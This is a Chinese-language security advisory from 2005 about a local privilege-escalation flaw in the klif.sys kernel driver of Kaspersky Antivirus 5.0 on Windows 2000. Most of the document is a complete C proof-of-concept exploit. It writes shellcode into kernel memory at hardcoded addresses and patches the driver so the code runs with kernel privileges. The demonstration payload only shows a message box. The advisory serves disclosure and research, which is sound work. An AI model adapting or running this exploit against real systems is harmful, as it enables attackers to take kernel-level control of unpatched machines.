Kaspersky杀毒软件klif.sys权限提升漏洞

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发布日期：2005-06-08
更新日期：2005-06-08

受影响系统：
Kaspersky Labs Kaspersky Antivirus 5.0.335
Kaspersky Labs Kaspersky Antivirus 5.0.228
Kaspersky Labs Kaspersky Antivirus 5.0.227描述：

BUGTRAQ ID: 13878

Kaspersky是一款非常流行的杀毒软件。

Microsoft Windows 2000平台的Kaspersky软件设计上存在漏洞，本地攻击者可能利用此漏洞提升自己的权限。

起因是Kaspersky内核驱动klif.sys没有正确丢弃高权限，攻击者可能利用这个漏洞以系统内核的权限执行任意代码。

<*来源：Ilya Rabinovich （info@softsphere.com）

链接：http://marc.theaimsgroup.com/?l=bugtraq&m=111817777430401&w=2
*>

测试方法：
警告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

//(C) by Ilya Rabinovich.

#include <windows.h>

PUCHAR pCodeBase=(PUCHAR)0xBE9372C0;

PDWORD pJmpAddress=(PDWORD)0xBE9372B0;

PUCHAR pKAVRets[]={(PUCHAR)0xBE935087,(PUCHAR)0xBE935046};

PUCHAR pKAVRet;

unsigned char code[]={0x68,0x00,0x02,0x00,0x00,    //push 0x200
                    0x68,0x00,0x80,0x93,0xBE,    //push <buffer address> - 0xBE938000
                    0x6A,0x00,                    //push 0
                    0xB8,0x00,0x00,0x00,0x00,    //mov eax,<GetModuleFileNameA> -> +13
                    0xFF,0xD0,                    //call eax
                    0x68,0x00,0x80,0x93,0xBE,    //push <buffer address>
                    0x68,0x00,0x82,0x93,0xBE,    //push <address of the notepad path>- 0xBE938200
                    0xB8,0x00,0x00,0x00,0x00,    //mov eax,<lstrcmpiA> -> +30
                    0xFF,0xD0,                    //call eax
                    0x85,0xC0,                    //test eax,eax
                    0x74,0x03,                    //je +03
                    0xC2,0x04,0x00,                //retn 4
                    0x6A,0x00,                    //push 0
                    0x68,0x00,0x84,0x93,0xBE,    //push <address of the message string>- 0xBE938400
                    0x68,0x00,0x84,0x93,0xBE,    //push <address of the message string>- 0xBE938400
                    0x6A,0x00,                    //push 0
                    0xB8,0x00,0x00,0x00,0x00,    //mov eax,<MessageBoxA> -> +58
                    0xFF,0xD0,                    //call eax
                    0xC2,0x04,0x00                //retn 4
                    };

unsigned char jmp_code[]={0xFF,0x25,0xB0,0x72,0x93,0xBE}; //jmp dword prt /
[0xBE9372B0]

//////////////////////////////////////////////////////////////

BOOLEAN LoadExploitIntoKernelMemory(void){

//Get function's addresses

HANDLE hKernel=GetModuleHandle("KERNEL32.DLL");
HANDLE hUser=GetModuleHandle("USER32.DLL");

FARPROC pGetModuleFileNameA=GetProcAddress(hKernel,"GetModuleFileNameA");
FARPROC plstrcmpiA=GetProcAddress(hKernel,"lstrcmpiA");

FARPROC pMessageBoxA=GetProcAddress(hUser,"MessageBoxA");

    *(DWORD*)(code+13)=(DWORD)pGetModuleFileNameA;
    *(DWORD*)(code+30)=(DWORD)plstrcmpiA;
    *(DWORD*)(code+58)=(DWORD)pMessageBoxA;

//Prepare our data into ring0-zone.

PCHAR pNotepadName=(PCHAR)0xBE938200;

char temp_buffer[MAX_PATH];
char *s;

SearchPath(NULL,"NOTEPAD",".EXE",sizeof(temp_buffer),temp_buffer,&s);

lstrcpy(pNotepadName,temp_buffer);

PCHAR pMessage=(PCHAR)0xBE938400;

lstrcpy(pMessage,"Notepad is running!!! KAV is vulnerable!!!");

memmove(pCodeBase,code,sizeof(code));

*pJmpAddress=(DWORD)pCodeBase;

memmove(pKAVRet,jmp_code,sizeof(jmp_code));

return TRUE;
}

///////////////////////////////////////////////////////////////

void UnloadExploitFromKernelMemory(){

UCHAR retn_4[]={0xC2,0x04,0x00};

memmove(pKAVRet,retn_4,sizeof(retn_4));

}

/////////////////////////////////////////////////////////////////

PUCHAR GetKAVRetAddress(void){

//Check the retn 4 in the KAV 0xBE9334E1 function end
//Also, we check the KAV klif.sys existance.

UCHAR retn_4[]={0xC2,0x04,0x00};

__try{

for(DWORD i=0;i<sizeof(pKAVRets)/sizeof(pKAVRets[0]);i++){

if(memcmp(pKAVRets,retn_4,sizeof(retn_4))==0)
return pKAVRets;

}

}__except(EXCEPTION_EXECUTE_HANDLER){MessageBox(NULL,"KAV is not /
installed",NULL,0);return NULL;}

MessageBox(NULL,"Wrong KAV version. You need 5.0.227, 5.0.228 or 5.0.335 versions of /
KAV",NULL,0); return NULL;
}

/////////////////////////////////////////////////////////////////

void main(void){

pKAVRet=GetKAVRetAddress();

if(NULL==pKAVRet)
return;

if(!LoadExploitIntoKernelMemory())
return;

char temp_buffer[MAX_PATH];
char *s;

SearchPath(NULL,"NOTEPAD",".EXE",sizeof(temp_buffer),temp_buffer,&s);

PROCESS_INFORMATION pi;

STARTUPINFO si={0};
si.cb=sizeof(si);

CreateProcess(NULL,temp_buffer,NULL,NULL,FALSE,
0,NULL,NULL,&si,&pi);

WaitForSingleObject(pi.hProcess,INFINITE);

MessageBox(NULL,"Now you may start your own Notepad instance to check this /
exploit!","KAV_EXPLOITER",0);

MessageBox(NULL,"Close this window to stop exploitation","KAV_EXPLOITER",0);

UnloadExploitFromKernelMemory();
}

建议：

厂商补丁：

Kaspersky Labs
--------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.kaspersky.com/